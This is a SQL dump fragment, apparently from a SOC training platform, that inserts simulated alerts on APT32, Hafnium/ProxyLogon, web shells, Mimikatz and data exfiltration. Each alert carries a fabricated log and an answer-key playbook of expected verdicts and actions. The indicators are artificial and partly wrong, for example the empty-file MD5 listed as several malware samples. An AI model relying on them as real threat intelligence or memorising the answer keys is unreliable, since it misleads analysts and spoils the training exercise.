hash.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"attacker_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"Username associated with unauthorized access attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
(332, 'Internal Reconnaissance Detected', 'high', 'SIEM Alerts', 'The attacker performs scans and probes to map out the network and identify further targets. Advanced techniques were used to evade detection during reconnaissance activities.', 'Reconnaissance', 'T1046: Network Service Scanning', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:17Z\",\"event_id\":\"rec-2023-00123\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.105\",\"scanned_ports\":[22,80,443,445],\"protocol\":\"TCP\",\"detected_tool\":\"nmap\",\"username\":\"admin\",\"hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"action\":\"network_scan\",\"outcome\":\"success\"}', '2026-01-02 20:29:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP associated with known scanning activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host targeted by scan.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with reconnaissance tool.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(333, 'Final Data Extraction Detected', 'critical', 'Data Exfiltration Monitoring', 'Large volumes of data are prepared for final exfiltration, marking the conclusion of the attack operation. Data transfer detected from internal network to an external IP linked with known malicious activity.', 'Exfiltration', 'T1020', 1, 'new', NULL, '{\"timestamp\":\"2023-10-03T14:45:00Z\",\"internal_ip\":\"10.0.0.15\",\"external_ip\":\"203.0.113.99\",\"user\":\"jdoe\",\"filename\":\"confidential_data.zip\",\"file_hash\":\"3b5d5c3712955042212316173ccf37be\",\"protocol\":\"HTTPS\",\"action\":\"Data Transfer\",\"bytes_transferred\":104857600,\"indicator_of_compromise\":true}', '2026-01-02 20:29:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b5d5c3712955042212316173ccf37be\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash_database\",\"verdict\":\"suspicious\",\"details\":\"File hash found in recent suspicious activity reports.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_logs\",\"verdict\":\"suspicious\",\"details\":\"Filename matches naming pattern of sensitive data archives.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"user_activity\",\"verdict\":\"suspicious\",\"details\":\"User account has been flagged for unusual activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(334, 'Compromised Website Detected', 'high', 'Web Proxy Logs', 'APT32 has injected malicious JavaScript into the human rights organization\'s website, setting the stage for the delivery of a malicious payload to site visitors.', 'Initial Access', 'T1071.001 - Application Layer Protocol: Web Protocols', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:52Z\",\"client_ip\":\"192.168.1.105\",\"request_method\":\"GET\",\"host\":\"humanrights.org\",\"url\":\"/index.html\",\"referrer\":\"http://malicious-redirect.com/landing\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36\",\"status_code\":200,\"response_size\":4521,\"malicious_js_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"attacker_ip\":\"203.0.113.45\"}', '2026-01-02 20:31:37', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT32 infrastructure\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious JavaScript used by APT32\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-redirect.com/landing\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"URL linked to phishing campaigns and malware distribution\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(335, 'Obfuscated JavaScript Execution', 'high', 'Browser Security Logs', 'The obfuscated JavaScript payload is executed on visitor\'s browsers, preparing the system for malware deployment. This indicates the transition from web-based compromise to client-side infection.', 'Execution', 'T1059.007 - JavaScript', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:57Z\",\"event_id\":\"JS-Exec-20231015-143\",\"source_ip\":\"198.51.100.23\",\"destination_ip\":\"192.168.1.15\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"script_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"affected_user\":\"jdoe\",\"script_name\":\"obfuscated_payload.js\",\"referrer\":\"http://malicious-example.com/landing\"}', '2026-01-02 20:31:37', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel DB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of a known JavaScript exploit kit.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"obfuscated_payload.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"File name associated with obfuscated scripts used in attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(336, 'Custom Backdoor Installation', 'high', 'Endpoint Detection and Response (EDR)', 'An attacker has successfully installed a custom backdoor on macOS systems. This persistence mechanism allows continuous access and control over the infected systems of users who visited the compromised site.', 'Persistence', 'T1547: Boot or Logon Autostart Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"event_type\":\"persistence\",\"src_ip\":\"203.0.113.45\",\"dest_ip\":\"10.0.0.5\",\"username\":\"jdoe\",\"file_path\":\"/Users/jdoe/Library/LaunchAgents/com.example.backdoor.plist\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"process_name\":\"launchd\",\"process_id\":1234,\"sha256_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"user_agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:85.0) Gecko/20100101 Firefox/85.0\"}', '2026-01-02 20:31:37', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with malware distribution.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a known macOS backdoor.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"/Users/jdoe/Library/LaunchAgents/com.example.backdoor.plist\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"File used to maintain persistence for a backdoor.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(337, 'Command and Control (C2) Communication Detected', 'high', 'Network Traffic Analysis', 'This alert highlights the establishment of communication between the backdoor and the attacker\'s C2 servers, enabling further actions.', 'Lateral Movement', 'T1071.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"185.92.220.133\",\"protocol\":\"HTTP\",\"method\":\"POST\",\"url\":\"http://malicious-domain.com/command\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"payload\":\"Encrypted data\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"jdoe\"}', '2026-01-02 20:31:37', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.92.220.133\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server IP used for malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-domain.com/command\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Domain associated with C2 communication.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash known for malware payload.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Username of the potentially compromised account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NULL', 1, 0, NULL),
(338, 'Data Exfiltration Attempt', 'high', 'Data Loss Prevention (DLP) Systems', 'An unauthorized transfer of sensitive data was detected. The attacker attempted to exfiltrate proprietary data from the internal network to an external IP address.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:35Z\",\"event_id\":\"EXFIL-2023-10-15-142235\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"file_name\":\"financial_report_Q3.pdf\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"action\":\"blocked\",\"alert_trigger\":\"Data Exfiltration Policy\",\"bytes_transferred\":1048576,\"description\":\"Attempted transfer of classified financial document via HTTPS to untrusted external IP.\"}', '2026-01-02 20:31:37', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal corporate network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with exfiltration activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Integrity Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Unrecognized file hash for sensitive document\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"HR System\",\"verdict\":\"internal\",\"details\":\"Employee account\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"financial_report_Q3.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Document Management System\",\"verdict\":\"sensitive\",\"details\":\"Confidential financial document\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(339, 'Initial Access via ProxyLogon Zero-Day', 'critical', 'Exchange server logs', 'Hafnium exploits the ProxyLogon zero-day vulnerabilities to breach the organization\'s perimeter defenses, marking the beginning of their operation.', 'Exploit', 'T1190 - Exploit Public-Facing Application', 1, 'new', NULL, '{\"timestamp\":\"2023-10-17T04:12:34Z\",\"src_ip\":\"203.0.113.45\",\"dest_ip\":\"192.168.1.10\",\"username\":\"SYSTEM\",\"exploit\":\"ProxyLogon\",\"url\":\"/owa/auth/x.js\",\"user_agent\":\"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"shell.aspx\"}', '2026-01-03 00:04:00', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_service\",\"verdict\":\"malicious\",\"details\":\"Known Hafnium IP associated with ProxyLogon exploits.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal Exchange server IP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_db\",\"verdict\":\"malicious\",\"details\":\"Hash associated with web shell used in ProxyLogon exploit.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"shell.aspx\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis_tool\",\"verdict\":\"malicious\",\"details\":\"Web shell file used for remote access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(340, 'Web Shell Deployment - China Chopper', 'high', 'Web server logs', 'Following initial access, Hafnium deploys the China Chopper web shell to maintain persistent access and command capabilities on the compromised server. The web shell allows remote control and execution of commands on the server.', 'Malware Installation', 'T1505.003 - Web Shell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T13:45:23Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.100\",\"http_method\":\"POST\",\"requested_url\":\"/uploads/chopper.jsp\",\"response_code\":200,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\",\"filename\":\"chopper.jsp\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"webadmin\"}', '2026-01-03 00:04:00', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Associated with known APT activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal web server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Known hash for China Chopper web shell\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"chopper.jsp\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Web shell filename used by attackers\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"webadmin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Username for web server administration\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(341, 'Credential Harvesting via Mimikatz', 'critical', 'Endpoint detection logs', 'With web shell access established, Hafnium utilizes Mimikatz to extract credentials, enabling further infiltration within the network. Endpoint detection identified the execution of the Mimikatz tool to dump credentials from LSASS.', 'Credential Access', 'T1003: Credential Dumping', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"username\":\"jdoe\",\"process_name\":\"mimikatz.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"detection_method\":\"behavioral\",\"alert_trigger\":\"Unauthorized credential dump detected\",\"host_ip\":\"192.168.1.25\",\"host_name\":\"workstation-01\"}', '2026-01-03 00:04:00', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Corporate workstation\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Credential dumping tool\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Match with known Mimikatz hash\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(342, 'Lateral Movement Through SMB', 'high', 'Network traffic analysis', 'Using harvested credentials, Hafnium moves laterally across the network by exploiting SMB protocol vulnerabilities, targeting additional critical systems.', 'Network Propagation', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-21T14:32:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.15.23\",\"protocol\":\"SMB\",\"action\":\"Access Granted\",\"username\":\"j.doe\",\"file_accessed\":\"\\\\\\\\192.168.15.23\\\\C$\\\\Windows\\\\system32\\\\cmd.exe\",\"hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"event_id\":4624,\"message\":\"An account was successfully logged on\",\"logon_type\":3}', '2026-01-03 00:04:00', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known Hafnium APT IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.15.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Inventory\",\"verdict\":\"internal\",\"details\":\"Corporate workstation\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with Hafnium\'s lateral movement tools\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Valid corporate user\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(343, 'Execution of Reconnaissance Commands', 'high', 'Command-line audit logs', 'Hafnium executed a series of reconnaissance commands to map the network and locate key data repositories. This activity is indicative of an advanced attack with the objective of identifying sensitive data and valuable assets within the target organization.', 'Reconnaissance', 'T1016 - System Network Configuration Discovery', 1, 'new', NULL, '{\"timestamp\":\"2023-10-18T14:23:56Z\",\"event_id\":4624,\"command\":\"netstat -an; ipconfig /all; systeminfo\",\"user\":\"compromised_user\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"filename\":\"network_recon_tool.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-03 00:04:00', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Hafnium APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"network_recon_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"suspicious\",\"details\":\"Unusual tool executed on the endpoint by a compromised user.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious software used by Hafnium.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(344, 'Data Collection for Exfiltration', 'high', 'File access logs', 'An advanced threat actor, identified as Hafnium, has aggregated sensitive information. The data is being prepared for exfiltration. This activity was detected through abnormal file access patterns linked to known malicious IP addresses.', 'Data Collection', 'T1005: Data from Local System', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T15:23:34Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"username\":\"j.doe\",\"file_accessed\":\"/financial_reports/2023/Q3_financials.xlsx\",\"hash\":\"a1b2c3d4e5f67890123456789abcdef0\",\"action\":\"read\",\"status\":\"success\"}', '2026-01-03 00:04:00', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known Hafnium IP associated with data exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Unusual file access patterns detected.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"/financial_reports/2023/Q3_financials.xlsx\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Monitoring System\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file accessed during off-hours by suspicious IP.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"a1b2c3d4e5f67890123456789abcdef0\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used by Hafnium.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(345, 'Data Exfiltration via HTTP POST', 'critical', 'Network traffic logs', 'Anomalous outbound traffic detected from an internal host to a known malicious IP, indicating possible data exfiltration via HTTP POST requests.', 'Data Exfiltration', 'T1041', 1, 'investigating', 34, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"203.0.113.45\",\"http_method\":\"POST\",\"url\":\"http://malicious-cc-server.com/upload\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\",\"filename\":\"exfiltrated_data.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"john_doe\",\"response_code\":200}', '2026-01-03 00:04:00', '2026-01-11 01:45:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of possibly compromised 